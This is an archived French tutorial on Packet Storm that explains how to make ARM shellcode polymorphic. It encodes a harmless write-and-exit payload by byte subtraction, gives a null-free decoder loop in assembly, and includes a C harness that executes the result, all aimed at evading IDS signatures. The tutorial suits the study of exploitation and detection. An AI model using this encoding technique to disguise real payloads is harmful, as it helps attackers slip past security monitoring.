what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

How To Create A Polymorphic Shellcode On ARM Architecture

How To Create A Polymorphic Shellcode On ARM Architecture
Posted Jul 3, 2010
Authored by Florian Gaultier

Whitepaper called How to create a polymorphic shellcode on ARM architecture.

tags | shellcode
SHA-256 | 75eb95ec667eb98c2f7e20e3120ee7b195b6bc9456d0cf48582135137e0d4fef

How To Create A Polymorphic Shellcode On ARM Architecture

Change Mirror Download
  Title:    How to create a polymorphic shellcode on ARM architecture ?
Language: French
Author: Florian Gaultier <florian.gaultier@shell-storm.org>
Date 2010-07-02

Original version: http://howto.shell-storm.org/files/howto-5.php




I - Rappels sur le polymorphisme
================================

Je vous conseil de lire le howto sur le polymorphisme des shellcodes pour architecture x86. (http://howto.shell-storm.org/files/howto-2.php)
Mais, pour un bref rappel, les shellcodes polymorphiques permettent d'éviter la détection, par les IDS, des structures de shellcodes connues.
La structure est simple, une partie sert à décoder, l'autre partie est notre shellcode crypté.



II - La construction du shellcode
=================================

II - 1. Cryptage
----------------

Pour le cryptage, il suffit d'effectuer une opération basique sur chaque octet !
and, orr, eor, add, sub par exemple.
Prenons le shellcode (write et exit) du howto précédent.

"\x01\x60\x8f\xe2\x16\xff\x2f\xe1"
"\x10\x22\x79\x46\x0e\x31\x01\x20"
"\x04\x27\x01\xdf\x24\x1b\x20\x1c"
"\x01\x27\x01\xdf"
"shell-storm.org"
"\x0a"

Nous allons simplement soustraire 2 à tous les octets, ce qui nous donne :

"\xff\x5e\x8d\xe0\x14\xfd\x2d\xdf"
"\x0e\x20\x77\x44\x0c\x2f\xff\x1e"
"\x02\x25\xff\xdd\x22\x19\x1e\x1a"
"\xff\x25\xff\xdd"
"qfcjj+qrmpk,mpe"
"\x08"

Nous avons donc notre shellcode crypté, il reste à construire notre boucle de décodage.


II - 2. Décodage
----------------

Le principe est le même que pour x86 :
Nous sautons juste avant notre shellcode crypté.
Puis nous sautons dans une boucle de décodage en gardant en mémoire l'adresse de notre shellcode.
La boucle décode chaque octet puis resaute dans le shellcode.

add r6, pc, #36 // nous récupérons dans r6 l'adresse du saut avant notre shellcode (bl debut). -----------------+
bx r6 // b seul contient des 00 c'est pour cela que nous sautons à r6 à l'aide de bx. |
debut: mov r4, #213 // #213 sert au compteur de boucle, il faut que la boucle s'effectue 44 fois. |
// c'est le nombre d'octets de notre shellcode . |
boucle: cmp r4, #256 // la comparaison se fait à 256 ce qui permet d'éliminer un 00 car 256 est sur deux octets. |
bxhi lr // si r4 = 256 alors nous sautons à notre shellcode qui a été décodé. |
sub r4, r4, #213 // sinon nous soustrayons 213 afin de récupérer la valeur du compteur. |
ldrb r5, [lr, r4] // nous récupérons dans r5 l'octet situé à l'adresse de notre shellcode + le compteur. |
add r5, r5, #2 // nous décodons en y ajoutant 2. |
strb r5, [lr, r4] // puis nous remplaçons l'octet par celui décodé. |
add r4, r4, #214 // nous réajoutons 213 + 1 afin d'incrémenter le compteur pour faire la futur comparaison. |
b boucle // et nous sautons à la comparaison. |
|
bl debut // nous sautons dans la boucle à l'aide de bl, afin de placer l'adresse du shellcode dans lr. <--+


Et voilà, nous avons notre boucle de décodage sans 00 !


#include <stdio.h>

char shellcode[] =
"\x24\x60\x8f\xe2"
"\x16\xff\x2f\xe1"
"\xd5\x40\xa0\xe3"
"\x01\x0c\x54\xe3"
"\x1e\xff\x2f\x81"
"\xd5\x40\x44\xe2"
"\x04\x50\xde\xe7"
"\x02\x50\x85\xe2"
"\x04\x50\xce\xe7"
"\xd6\x40\x84\xe2"
"\xf7\xff\xff\xea"
"\xf5\xff\xff\xeb"

//shellcode crypté
"\xff\x5e\x8d\xe0\x14\xfd\x2d\xdf"
"\x0e\x20\x77\x44\x0c\x2f\xff\x1e"
"\x02\x25\xff\xdd\x22\x19\x1e\x1a"
"\xff\x25\xff\xdd"
"qfcjj+qrmpk,mpe"
"\x08";

int main()
{
(*(void(*)()) shellcode)();

return 0;
}


III - Références
================

[x] - http://www.shell-storm.org

[1] - http://marine.edu.ups-tlse.fr/~rochange/ISI1A/PolycopARM.pdf

[2] - http://www.seeon.fr/repository/assembleur/archi_08_cours2.pdf
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close